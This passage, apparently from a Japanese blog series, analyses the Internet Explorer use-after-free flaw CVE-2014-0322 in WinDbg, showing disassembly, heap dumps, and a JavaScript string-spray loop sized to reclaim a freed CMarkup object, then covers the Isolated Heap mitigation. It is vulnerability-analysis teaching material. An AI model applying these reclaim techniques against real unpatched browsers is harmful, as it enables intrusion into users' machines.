eax+10 が指す 12345688 というアドレスは、無効な領域なので、Read/Write ともにできません。inc 命令は Read/Write 両方を行うため、AV が発生します。ここでの最大のポイントは、eax の持つ 12345678 という値にあります。このアドレス、JavaScript 内で変数として指定されています。変数を別の値に変えると、AV が発生するアドレスを任意に変えられます。それだけでなく、書き込み可能なアドレスであれば任意の場所の Byte 値をインクリメントできることになります。これは IE のバグであり、CVE-2014-0322 が脆弱性と呼ばれる所以です。「書き込み可能な任意の場所の Byte 値をインクリメントできる」ことを起点として、「任意のペイロード (meterpreter のようなバイナリ) を適当な位置に書き込んで、プログラム カウンターをそこに変更して実行する」 という、"わらしべ長者" になれば exploit 成功です。

まずはこの AV を理解するところから始めます。

0:005> u MSHTML!CMarkup::UpdateMarkupContentsVersion
mshtml!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch]
72da7a46 40              inc     eax
72da7a47 0d00000080      or      eax,80000000h
72da7a4c 89427c          mov     dword ptr [edx+7Ch],eax
72da7a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
72da7a55 85c0            test    eax,eax
72da7a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72da7a5c)
72da7a59 ff4010          inc     dword ptr [eax+10h]

0:005> dd @edx
03f056c8  deadc0de 12345678 12345678 12345678
03f056d8  12345678 12345678 12345678 12345678
03f056e8  12345678 12345678 12345678 12345678
03f056f8  12345678 12345678 12345678 12345678
03f05708  12345678 12345678 12345678 12345678
03f05718  12345678 12345678 12345678 12345678
03f05728  12345678 12345678 12345678 12345678
03f05738  12345678 12345678 12345679 92345679

逆アセンブルの結果を見ると、eax は edx から来ています。edx は何らかのオブジェクトであり、eax はオフセット +AC にあるメンバ変数のようです。eax もまた何らかのオブジェクトであり、NULL チェックの後にオフセット +10 のメンバ変数をインクリメントしている、と読めます。JavaScript の変数の値である eax の値は edx+78 から来ているので、edx の中身を見ると、先頭が deadc0de で、残りは 12345678 で埋められています。再度JavaScript のコードを確認すると、fun 関数における b という文字列変数の内容と一致します。つまり、本来オブジェクトが存在しているべき領域が、JavaScript の文字列で置き換えられています。

edx のアドレスの種類を調べるため、!address edx コマンドを実行します。

0:005> r edx
edx=03f056c8

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  Heap
Base Address:           03e10000
End Address:            03f0f000
Region Size:            000ff000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        03e10000
Allocation Protect:     00000004        PAGE_READWRITE
More info:              heap owning the address: !heap 0x6e0000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x3f056c8

0:005> !heap -x 0x3f056c8
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
03f056c0  03f056c8  006e0000  03e79a28       348      -            8  LFH;busy

この出力結果は、03e10000から03f0f000までの範囲がヒープ領域であり、edx=03f056c8 もそこに含まれていることを示します。さらに !heap コマンドでヒープ領域を分析すると、0x340 バイトのバッファーであるようです(Size の 348 から Unused の 8 を引いた値が実際のサイズ)。 ヒープ領域の境界が分かったので、その前後も見ておきます。

03f056a0  12345678 12345678 12345678 12345678
03f056b0  12345678 12345678 12345678 00005678
03f056c0  461b2184 88003400 deadc0de 12345678
03f056c0  12345678 12345678 12345678 12345678
03f056e0  12345678 12345678 12345678 12345678
03f056f0  12345678 12345678 12345678 12345678

03f059e0  12345678 12345678 12345678 12345678
03f059f0  12345678 12345678 12345678 12345678
03f05a00  12345678 00005678
461b201d 88003500
03f05a10  deadc0de 12345678 12345678 12345678
03f05a20  12345678 12345678 12345678 12345678
03f05a30  12345678 12345678 12345678 12345678

前後ともに、同じ文字列で埋められています。03f056c0 から 0x340 バイト続く文字列の最後の Word 値 (at 03f05a06) は 0x0000 で、おそらく NULL 終端文字と考えられます。そして次の文字列の先頭 (deadc0de) があるアドレス 03f05a10 に対して !heap を実行すると、先ほどと同じ結果が返ってきます。

0:005> !heap -x 03f05a10
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
03f05a08  03f05a10  006e0000  03e79a28       348      -            8  LFH;busy

ここで JavaScript のコードを確認すると、以下の for ループが見つかります。

for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = b.substring(0, (0x340 – 2) / 2);
}

部分文字列の長さ "(0x340 – 2) / 2" のうち、/2 の部分は、JavaScript における文字は UTF-16 で 1 文字 2 バイトだからでしょう。-2 は、内部的に文字の末尾に NULL 終端文字が入ることを考慮していると考えられます。つまり、この部分文字列の一つ一つがちょうど 0x340 バイトのヒープを確保するようにデザインされています。

AV のより詳細な分析を行うため、Full Page Heap と User-mode stacktrace database を有効にしてから同じページを開きます。デバッガーに含まれている gflags を使って "gflags -i iexplore.exe +hpa +ust" コマンドを実行してください。Page Heap と User-mode stack trace database についてはこちら↓

The Structure of a Page Heap Block
http://msdn.microsoft.com/en-us/library/ms220938(v=vs.90).aspx

GFlags and PageHeap (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff549561(v=vs.85).aspx

Create user mode stack trace database (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff540107(v=vs.85).aspx

また 同じ関数で AV が発生しますが、発生個所が少し違っています。

mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch]
72d37a46 40              inc     eax
72d37a47 0d00000080      or      eax,80000000h
72d37a4c 89427c          mov     dword ptr [edx+7Ch],eax
72d37a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
72d37a55 85c0            test    eax,eax
72d37a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72d37a5c)
72d37a59 ff4010          inc     dword ptr [eax+10h] <<< ここはパス
72d37a5c 8b8a94000000    mov     ecx,dword ptr [edx+94h]
72d37a62 33c0            xor     eax,eax
72d37a64 85c9            test    ecx,ecx
72d37a66 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x28 (72d37a6b)
72d37a68 8b410c          mov     eax,dword ptr [ecx+0Ch]
72d37a6b 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:002b:000001c0=????????

0:005> dd edx
0d032cc0  00000000 00000000 00000000 00000000
0d032cd0  00000000 00000000 00000000 00000000
0d032ce0  00000000 00000000 00000000 00000000
0d032cf0  00000000 00000000 00000000 00000000
0d032d00  00000000 00000000 00000000 00000000
0d032d10  00000000 00000000 00000000 00000000
0d032d20  00000000 00000000 00000000 00000000
0d032d30  00000000 00000000 00000001 80000001

Page Heap なしでクラッシュした inc はパスして、cmp でクラッシュしました。同様に edx の指すバッファーを見ると、deadc0de はなく、00000000 で埋められています (一部は、クラッシュする前のコードによって書き換えられています)。inc はその前の NULL チェックで弾かれて実行されなかっただけのようです。先ほどと同様、edx に対して !address と !heap を実行します。Full Page Heap が有効になっているので、!heap -p コマンドが使えます。

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  PageHeap
Base Address:           0d032000
End Address:            0d033000
Region Size:            00001000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        0d030000
Allocation Protect:     00000001        PAGE_NOACCESS
More info:              !heap -p 0xac1000
More info:              !heap -p -a 0xd032cc0

0:005> !heap -p -a 0xd032cc0
    address 0d032cc0 found in
    _DPH_HEAP_ROOT @ ac1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr
   VirtSize)
                                 cb9316c:          d032ff0               10 -          d032000
       2000
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
    77d132ff ntdll!RtlAllocateHeap+0x00000176
    72ca6d51 mshtml!CAttrArray::Set+0x0000004e
    72dc8645 mshtml!CAttrArray::SetString+0x00000041
    72e191b3 mshtml!BASICPROPPARAMS::SetStringProperty+0x00000243
    72f392e1 mshtml!CBase::put_StringHelper+0x0000005e
    72f037a4 mshtml!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000074
    7245b86f jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    7245c6ba jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    72460953 jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    724336d9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

ヒープ領域に属している点は同じですが、!heap -p -a の実行結果では 0x10 バイトの別の場所のヒープが出力されます。edx が指すアドレスにバッファーは存在しないようです。PageHeap なしのときの 0x340 バイトの文字列はどこへ行ったのでしょうか。

今度は、gflags の設定はそのままで、AV が発生しない正常な動作を見てみます。mshtml!CMarkup::UpdateMarkupContentsVersion の先頭にブレークポイントを設定してから、JavaScript を含んでいそうな適当なページを開きます。複数のコードパスでヒットしますが、なるべく近いものを使いたいのでコールスタックに mshtml!CMarkup::InsertElementInternal が含まれているブレークを見つけます。

0:005> r
eax=00000000 ebx=120a2fa0 ecx=2d875894 edx=10fe7cc0 esi=10fe7cc0 edi=0e38afc8
eip=72d37a43 esp=091db2fc ebp=091db368 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:10fe7d3c=80000028
0:005> k5
ChildEBP RetAddr
091db2f8 72e3da96 mshtml!CMarkup::UpdateMarkupContentsVersion
091db368 72e3e1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
091db3ac 72e3e065 mshtml!CMarkup::InsertSingleElement+0x169
091db48c 72e3ddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
091db4b0 72e3dd6c mshtml!CMarkup::InsertElementInternal+0x2e

!address と !heap を実行します。

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  PageHeap
Base Address:           10fe7000
End Address:            10fe8000
Region Size:            00001000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        10f10000
Allocation Protect:     00000001        PAGE_NOACCESS
More info:              !heap -p 0x3981000
More info:              !heap -p -a 0x10fe7cc0

0:005> !heap -p -a 0x10fe7cc0
    address 10fe7cc0 found in
    _DPH_HEAP_ROOT @ 3981000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr
   VirtSize)
                                109b3548:         10fe7cc0              340 -         10fe7000
       2000
          mshtml!CMarkup::`vftable’
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
    77d132ff ntdll!RtlAllocateHeap+0x00000176
    72cc4405 mshtml!CDoc::CreateMarkupFromInfo+0x0000017f
    7313af7f mshtml!CDoc::DoNavigate_CreateMarkupForExistingWindow+0x0000004b
    7313afe7 mshtml!CDoc::DoNavigate+0x000008b3
    72faf5f9 mshtml!CDoc::FollowHyperlink2+0x0000058f
    7313b50f mshtml!CWindow::SuperNavigateInternal+0x000001df
    7313b305 mshtml!CWindow::SuperNavigate2WithBindFlags+0x00000029
    73ef7adb ieframe!CDocObjectHost::_NavigateDocument+0x00000185
    73e7d86c ieframe!CDocObjectHost::SetTarget+0x00000270
    73e7d5cf ieframe!CDocObjectView::CreateViewWindow2+0x000000ef
    73e7d498 ieframe!CDocObjectView::CreateViewWindow+0x0000005f
    73e7d40d ieframe!FileCabinet_CreateViewWindow2+0x0000013c
    73e7d20c ieframe!CBaseBrowser2::_CreateNewShellView+0x000001db
    73e7cff9 ieframe!CBaseBrowser2::_CreateNewShellViewPidl+0x00000086
    73e7cf17 ieframe!CBaseBrowser2::v_NavigateToPidl+0x000001b8
    73ef7204 ieframe!CBaseBrowser2::_OnGoto+0x00000210
    73ef6fea ieframe!CBaseBrowser2::_OnAsyncOperation+0x00000031
    73e70723 ieframe!CBaseBrowser2::v_WndProc+0x0000013c
    73fc6257 ieframe!CShellBrowser2::v_WndProc+0x00000195
    73e41fd8 ieframe!CShellBrowser2::s_WndProc+0x0000006d
    767c77d8 user32!InternalCallWinProc+0x00000023
    767c78cb user32!UserCallWinProcCheckWow+0x00000100
    767c899d user32!DispatchMessageWorker+0x000003ef
    767c8a66 user32!DispatchMessageW+0x00000010
    73e4363e ieframe!CTabWindow::_TabWindowThreadProc+0x00000476
    73e90331 ieframe!LCIETab_ThreadProc+0x00000378
    77a87bc8 iertutil!CIsoWinMsg::PostQueuedMessagesToComponent+0x0000004b
    73c02a34 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000066
    753a8543 kernel32!BaseThreadInitThunk+0x0000000e

長さ 0x340 のオブジェクトが出てきました。edx のアドレスの中身をみます。

0:005> dd edx
10fe7cc0  72c45b90 00000007 00000000 000000a0
10fe7cd0  10f6bff0 00000000 00000000 00000000
10fe7ce0  00000000 00000000 00000000 00000000
10fe7cf0  0c000001 8247c000 00000000 00000000
10fe7d00  00000000 0d6eafc0 0ff94f50 00000000
10fe7d10  00000100 00000000 00000000 0d726fc0
10fe7d20  00000002 00000004 00000010 0000a4d1
10fe7d30  10995f20 00000000 00000029 80000028
0:005> ln 72c45b90
(72c45b90)   mshtml!CMarkup::`vftable’   |  (72c45de8)   mshtml!CElement::`vftable’
Exact matches:
    mshtml!CMarkup::`vftable’ = <no type information>
0:005> dds 72c45b90
72c45b90  72f7cf90 mshtml!CMarkup::PrivateQueryInterface
72c45b94  72c63a74 mshtml!CMarkup::PrivateAddRef
72c45b98  72c63a51 mshtml!CMarkup::PrivateRelease
72c45b9c  73277ab3 mshtml!CBase::PrivateGetTypeInfoCount
72c45ba0  73277a7a mshtml!CBase::PrivateGetTypeInfo
72c45ba4  73277a3b mshtml!CBase::PrivateGetIDsOfNames
72c45ba8  73189446 mshtml!CBase::PrivateInvoke
72c45bac  7311b22c mshtml!CBase::PrivateGetDispID

先頭がコード領域のアドレスなので、これは vtable と考えられます。シンボルを見てみると、edx は mshtml!CMarkup クラスであることが分かります。長さは 0x340 です。AV 発生個所が CMarkup のメンバ関数なので、これは this ポインターしょうか。(ecx ではなく edx レジスタなので確証はありませんが。)

以上をまとめると、通常であれば 0x340 のmshtml!CMarkup クラスがヒープ上に確保されているところに、ちょうどヒープ上で0x340 の長さになるようにデザインされた JavaScript の文字列が埋め込まれています。そして、PageHeap 有効下においてこの HTML を開いたときは、edx はヒープ領域の中のバッファーが存在しないアドレスを指していました。これが Use-After-Free の脆弱性です。バッファー解放後に、それとちょうど同じ長さのバッファーを確保させることで、解放された場所と同じ領域が再利用されるのです。バグによって、解放済みのアドレスを指すポインター (=dangling pointer) が残っている間にアドレスの再利用が行われてしまうと、そのポインターは解放されたはずなのに、再び有効なアドレスを指すことになります。これはポインターが乗っ取られた状態です。

次に、PageHeap を無効にし、JavaScript 側で部分文字列の長さを変えて試します。例えばこんな感じ。

for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = b.substring(0, (0x341 – 2) / 2 + 1);
}

こうすると、クラッシュは起きません。手順はこれまでと同じなので結果だけ貼ると、!heap の結果は解放済みのアドレスとして出力されます。これは edx が dangling pointer であることを示しており、バグです。これを乗っ取ることができるので、Use-After-Free が脆弱性と呼ばれます。

0:005> r
eax=00000000 ebx=04a0a058 ecx=00000001 edx=011a6ab8 esi=011a6ab8 edi=04a166a8
eip=72da7a43 esp=033fb3bc ebp=033fb428 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
MSHTML!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:011a6b34=80000005
0:005> !heap -x @edx
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
011a6ab0  011a6ab8  01140000  01140000       348      1000         0  free

トレンドマイクロのサイトに、同様の解析の流れ、及び、Isolated Heap と呼ばれる IE 側の防御メカニズムに関する紹介があります。

Isolated Heap for Internet Explorer Helps Mitigate Exploit | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/isolated-heap-for-internet-explorer-helps-mitigate-uaf-exploits/

Isolated Heap とは、簡単に言うと mshtml (trident) のために専用のヒープ MSHTML!g_hIsolatedHeap を使うようになる機能です。これによって、JavaScript などを使って外部から mshtml の dangling pointer を乗っ取ることが極めて困難になります。この機能は 2014 年 6 月のアップデートに含まれています。

MS14-035: Cumulative security update for Internet Explorer: June 10, 2014
http://support.microsoft.com/kb/2969262

Microsoft Security Bulletin MS14-035 – Critical
https://technet.microsoft.com/library/security/MS14-035

以下のブログによると、Google Chrome のエンジンにも似たような機能が実装されているようです。

Isolated Heap & Friends – Object Allocation Hardening in Web Browsers – mwrlabs
https://labs.mwrinfosecurity.com/blog/2014/06/20/isolated-heap-friends—object-allocation-hardening-in-web-browsers/

というわけで今回はここまで。次回から Flash を使った Exploit の手法を見ていきます。